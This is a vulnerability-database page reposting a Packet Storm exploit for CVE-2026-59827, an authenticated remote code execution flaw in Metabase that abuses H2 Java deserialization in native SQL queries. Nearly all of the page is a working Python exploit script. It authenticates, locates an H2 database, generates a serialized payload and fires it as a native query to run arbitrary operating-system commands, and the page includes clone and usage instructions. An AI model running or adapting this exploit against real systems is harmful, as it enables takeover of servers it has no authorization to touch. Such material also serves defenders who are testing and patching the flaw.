Lucene search
+L

Metabase 0.61.0 Remote Code Execution

🗓️ 03 Sep 2026 00:00:00Reported by Gutierre0x80Type 
packetstorm
 packetstorm
🔗 packetstorm.news👁 7 Views

Authenticated RCE in Metabase 0.61.0 via H2 Java deserialization in native queries.

Related
Code
# Exploit Title: Metabase 0.61.0  - Authenticated Remote Code Execution 
    # Date: 2026-08-12
    # Exploit Author: Gutierre0x80
    # Vendor Homepage: https://www.metabase.com/
    # Software Link: https://github.com/metabase/metabase
    # Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
    # CVE: CVE-2026-59827
    #
    # Advisory:
    # https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
    #
    # Description:
    # Metabase instances with an H2 database connection, including the default
    # sample database, deserialize arbitrary Java objects returned by native H2
    # queries in result columns of type OTHER without validation. An authenticated
    # user with permission to execute native queries against an accessible H2
    # database can exploit this behavior to execute arbitrary operating-system
    # commands on the Metabase server.
    #
    # Requirements:
    # - Valid Metabase credentials
    # - Permission to execute native database queries
    # - Access to an H2 database connection, including the default sample database
    #
    # Download:
    # git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
    # cd CVE-2026-59827
    #
    # Usage:
    # python3 exploit.py <target_url> <username> <password> <command>
    #
    # Example:
    # python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id'
    #
    # Repository:
    # https://github.com/Gutierre0x80/CVE-2026-59827
    
    
    #!/usr/bin/env python3
    """
    Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
    Affects: <= v0.61.1 (latest at time of disclosure)
    
    Usage:
        python3 exploit.py <url> <user> <password> <command>
    
    Example:
        python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id"
    
    Required files (same directory as this script):
        clojure-1.12.3.jar
        VarChainPayload.class
    """
    import os
    import sys
    import subprocess
    import requests
    
    HERE      = os.path.dirname(os.path.realpath(__file__))
    CLJ_JAR   = os.path.join(HERE, "clojure-1.12.3.jar")
    CLASSPATH = f":{CLJ_JAR}:{HERE}"
    
    
    def die(msg):
        print(f"[-] {msg}", file=sys.stderr)
        sys.exit(1)
    
    
    def check_deps():
        missing = []
    
        # Check local files
        for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
            if not os.path.isfile(p):
                missing.append(os.path.basename(p))
        if missing:
            die(f"Missing files in {HERE}: {missing}")
    
        # Check system binaries
        try:
            subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
        except (FileNotFoundError, subprocess.CalledProcessError):
            die("Java not found or not working. Install OpenJDK 11+ and add to PATH")
    
        try:
            import requests
        except ImportError:
            die("Python 'requests' library not found. Install with: pip install requests")
    
    
    
    def get_token(session, url, user, password):
        r = session.post(f"{url}/api/session",
                         json={"username": user, "password": password}, timeout=15)
        r.raise_for_status()
        token = r.json().get("id")
        if not token:
            die(f"Authentication failed: {r.text[:200]}")
        return token
    
    
    def get_h2_db_id(session, url, token):
        r = session.get(f"{url}/api/database",
                        headers={"X-Metabase-Session": token}, timeout=15)
        r.raise_for_status()
        data = r.json()
        dbs = data.get("data", data) if isinstance(data, dict) else data
        for db in dbs:
            if db.get("engine") == "h2":
                return db["id"], db["name"]
        die("No H2 database found in this Metabase instance.")
    
    
    def generate_payload(command):
        result = subprocess.run(
            ["java",
             "--add-opens", "java.base/java.util=ALL-UNNAMED",
             "-cp", CLASSPATH,
             "VarChainPayload", command],
            capture_output=True, text=True, timeout=30
        )
        payload = result.stdout.strip()
        if not payload:
            die(f"Payload generation failed:\n{result.stderr}")
        return payload
    
    
    def fire(session, url, token, db_id, payload_hex):
        sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
        r = session.post(
            f"{url}/api/dataset",
            headers={"X-Metabase-Session": token},
            json={"database": db_id, "native": {"query": sql}, "type": "native"},
            timeout=30
        )
        return r.json()
    
    
    def main():
        if len(sys.argv) != 5:
            print(__doc__)
            sys.exit(1)
    
        _, url, user, password, command = sys.argv
        url = url.rstrip("/")
    
        check_deps()
    
        s = requests.Session()
        s.headers.update({"Content-Type": "application/json"})
    
        print(f"[*] Target   : {url}")
        print(f"[*] User     : {user}")
        print(f"[*] Command  : {command}")
        print()
    
        print("[*] Authenticating...")
        token = get_token(s, url, user, password)
        print(f"[+] Session  : {token}")
    
        print("[*] Locating H2 database...")
        db_id, db_name = get_h2_db_id(s, url, token)
        print(f"[+] Database : {db_name} (id={db_id})")
    
        print("[*] Generating payload...")
        payload = generate_payload(command)
        print(f"[+] Payload  : {len(payload) // 2} bytes")
    
        print("[*] Firing exploit...")
        result = fire(s, url, token, db_id, payload)
    
        error = str(result)
        ran_indicators = [
            "ClassCastException",      # normal: Process cast to Number
            "ProcessImpl",             # process object leaked in error
            "NonTransientConnection",  # H2 lock after exec triggered reconnect
            "JdbcSQLData",             # deserialization error after exec
        ]
        if any(ind in error for ind in ran_indicators):
            print("[+] RCE executed — H2 error after deserialization confirms command ran")
        else:
            print(f"[?] Unexpected response (command may not have run): {error[:300]}")
    
        print()
        print("[*] Done. If the command writes output to a file, retrieve it separately.")
    
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation